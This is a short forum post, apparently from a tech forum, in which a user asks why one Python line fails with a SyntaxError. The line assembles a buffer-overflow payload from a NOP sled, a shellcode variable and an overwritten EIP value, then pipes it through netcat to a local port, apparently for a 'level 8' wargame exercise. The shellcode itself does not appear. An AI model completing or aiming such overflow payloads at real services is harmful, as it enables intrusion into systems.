Python syntax compile error

JC0133

Senior member
Nov 2, 2010
201
1
76
I am trying to figure out why I keep getting an error here


<code>
os.system('echo \"' + '\x90'*(buffer/2 - len(shellCode)/2)+shellCode+'\x90'*(buffer/2 - len(shellCode)/2)+eip '\" | nc localhost ' + port)


File "./level8Testscript2", line 23
os.system('echo \"' + '\x90'*(buffer/2 - len(shellCode)/2)+shellCode+'\x90'*(buffer/2 - len(shellCode)/2)+eip '\" | nc localhost ' + port)
^
SyntaxError: invalid syntax
</code>